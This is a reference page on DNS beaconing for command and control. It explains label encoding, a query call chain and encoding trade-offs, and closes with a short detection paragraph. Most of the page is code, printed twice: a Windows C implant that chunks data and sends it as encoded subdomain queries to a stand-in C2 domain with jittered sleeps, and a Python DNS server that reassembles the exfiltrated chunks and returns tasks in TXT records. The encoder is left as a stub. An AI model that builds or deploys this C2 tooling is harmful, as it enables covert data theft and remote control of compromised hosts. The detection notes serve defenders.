DNS Beaconing
Overview
DNS is attractive as a C2 transport because it is almost never blocked outright — every host needs name resolution to function. The technique encodes data into the subdomain portions of a query directed at an attacker-controlled authoritative nameserver. The query traverses the normal resolver chain and arrives at the C2 server as a standard DNS packet, indistinguishable from any other lookup at the network perimeter.
Bandwidth is the primary constraint. A DNS label is 63 octets maximum; a full query name is 253 octets. Base32-encoding reduces the usable payload per query further. Real DNS C2 implementations compensate with query pipelining and data chunking, accepting low throughput in exchange for resilience to network filtering.
DNS-over-HTTPS (DoH) resolvers like Cloudflare 1.1.1.1 encrypt the query, hiding the label content from network sensors entirely. Implants that hard-code a DoH endpoint trade one detection surface (DNS logs) for another (anomalous HTTPS to a fixed resolver IP).
The call chain
- 1encode data as subdomain labelsSplit the payload into 63-byte chunks; base32- or hex-encode each chunk as a subdomain label.
- 2DnsQuery / getaddrinfoIssue a legitimate-looking query to attacker-controlled NS; the registrar routes it to the C2 listener.
- 3parse response recordExtract data from A, AAAA, TXT or CNAME records in the answer section.
- 4jitter sleepWait a randomised interval before the next beacon to avoid fixed-period network signatures.
Reference implementation
Implant side (C)
#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")
#define C2_DOMAIN "c2.example.com"
#define CHUNK_SIZE 40 // bytes per label after base32
// base32 alphabet (RFC 4648, no padding)
static const char B32[] = "abcdefghijklmnopqrstuvwxyz234567";
static void b32_encode(const uint8_t *in, size_t len, char *out) {
// standard 5-bit grouping omitted for brevity
(void)in; (void)len; (void)out;
}
void dns_send(const uint8_t *data, size_t len) {
char qname[256];
char label[64];
uint8_t chunk[CHUNK_SIZE];
for (size_t off = 0; off < len; off += CHUNK_SIZE) {
size_t n = min(CHUNK_SIZE, len - off);
memcpy(chunk, data + off, n);
b32_encode(chunk, n, label);
// <seq>.<encoded-chunk>.<c2-domain>
snprintf(qname, sizeof qname, "%04zx.%s.%s",
off / CHUNK_SIZE, label, C2_DOMAIN);
PDNS_RECORD rec = NULL;
DnsQuery_A(qname, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &rec, NULL);
if (rec) DnsRecordListFree(rec, DnsFreeRecordList);
// jitter: 30s +/- 10s
Sleep((20 + rand() % 20) * 1000);
}
}
// receive: parse TXT answer for downstream data
char *dns_recv(const char *id) {
char qname[256];
snprintf(qname, sizeof qname, "r.%s.%s", id, C2_DOMAIN);
PDNS_RECORD rec = NULL;
DnsQuery_A(qname, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &rec, NULL);
if (!rec) return NULL;
// first TXT string is the payload
char *resp = strdup(rec->Data.TXT.pStringArray[0]);
DnsRecordListFree(rec, DnsFreeRecordList);
return resp;
}#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")
#define C2_DOMAIN "c2.example.com"
#define CHUNK_SIZE 40 // bytes per label after base32
// base32 alphabet (RFC 4648, no padding)
static const char B32[] = "abcdefghijklmnopqrstuvwxyz234567";
static void b32_encode(const uint8_t *in, size_t len, char *out) {
// standard 5-bit grouping omitted for brevity
(void)in; (void)len; (void)out;
}
void dns_send(const uint8_t *data, size_t len) {
char qname[256];
char label[64];
uint8_t chunk[CHUNK_SIZE];
for (size_t off = 0; off < len; off += CHUNK_SIZE) {
size_t n = min(CHUNK_SIZE, len - off);
memcpy(chunk, data + off, n);
b32_encode(chunk, n, label);
// <seq>.<encoded-chunk>.<c2-domain>
snprintf(qname, sizeof qname, "%04zx.%s.%s",
off / CHUNK_SIZE, label, C2_DOMAIN);
PDNS_RECORD rec = NULL;
DnsQuery_A(qname, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &rec, NULL);
if (rec) DnsRecordListFree(rec, DnsFreeRecordList);
// jitter: 30s +/- 10s
Sleep((20 + rand() % 20) * 1000);
}
}
// receive: parse TXT answer for downstream data
char *dns_recv(const char *id) {
char qname[256];
snprintf(qname, sizeof qname, "r.%s.%s", id, C2_DOMAIN);
PDNS_RECORD rec = NULL;
DnsQuery_A(qname, DNS_TYPE_TXT, DNS_QUERY_STANDARD, NULL, &rec, NULL);
if (!rec) return NULL;
// first TXT string is the payload
char *resp = strdup(rec->Data.TXT.pStringArray[0]);
DnsRecordListFree(rec, DnsFreeRecordList);
return resp;
}Server side (Python)
from dnslib import DNSRecord, RR, TXT, A, QTYPE
from dnslib.server import DNSServer, BaseResolver
import base64, threading
PENDING = {} # id -> list[chunk]
OUTBOX = {} # id -> response bytes
class C2Resolver(BaseResolver):
def resolve(self, request, handler):
reply = request.reply()
qname = str(request.q.qname).rstrip('.')
parts = qname.split('.')
if parts[0] == 'r':
# downstream: client polling for a task
beacon_id = parts[1]
data = OUTBOX.pop(beacon_id, b'NOP')
reply.add_answer(
RR(qname, QTYPE.TXT, rdata=TXT(base64.b64encode(data)))
)
else:
# upstream: receiving an encoded chunk
seq, chunk_b32, *domain = parts
# base32 decode and accumulate
beacon_id = domain[0] if domain else 'default'
PENDING.setdefault(beacon_id, {})[int(seq, 16)] = (
base64.b32decode(chunk_b32.upper() + '======')
)
reply.add_answer(RR(qname, QTYPE.A, rdata=A('127.0.0.1')))
return reply
DNSServer(C2Resolver(), port=53, address='0.0.0.0').start_thread()
print('[*] DNS C2 listening on :53')
input('Press Enter to stop\n')from dnslib import DNSRecord, RR, TXT, A, QTYPE
from dnslib.server import DNSServer, BaseResolver
import base64, threading
PENDING = {} # id -> list[chunk]
OUTBOX = {} # id -> response bytes
class C2Resolver(BaseResolver):
def resolve(self, request, handler):
reply = request.reply()
qname = str(request.q.qname).rstrip('.')
parts = qname.split('.')
if parts[0] == 'r':
# downstream: client polling for a task
beacon_id = parts[1]
data = OUTBOX.pop(beacon_id, b'NOP')
reply.add_answer(
RR(qname, QTYPE.TXT, rdata=TXT(base64.b64encode(data)))
)
else:
# upstream: receiving an encoded chunk
seq, chunk_b32, *domain = parts
# base32 decode and accumulate
beacon_id = domain[0] if domain else 'default'
PENDING.setdefault(beacon_id, {})[int(seq, 16)] = (
base64.b32decode(chunk_b32.upper() + '======')
)
reply.add_answer(RR(qname, QTYPE.A, rdata=A('127.0.0.1')))
return reply
DNSServer(C2Resolver(), port=53, address='0.0.0.0').start_thread()
print('[*] DNS C2 listening on :53')
input('Press Enter to stop\n')Encoding choices
| Encoding | Bytes / query | Case-safe | Notes |
|---|---|---|---|
| Base32 | ~27 | Yes | RFC 4648; DNS is case-insensitive |
| Base64url | ~34 | Yes | +/ replaced with -_ |
| Hex | ~18 | Yes | Lowest density, highest label legibility |
TXT records for the downstream path allow arbitrary binary up to 255 bytes per string and 65535 bytes total, making them the natural choice for task delivery.
Detection
Frequency analysis is the most practical starting point: legitimate resolvers produce query bursts tied to user activity; a DNS beacon produces a flat periodic signal. A domain with no web presence and a delegated NS record pointing to a cloud VM is strong prior context for treating any query to it as suspicious.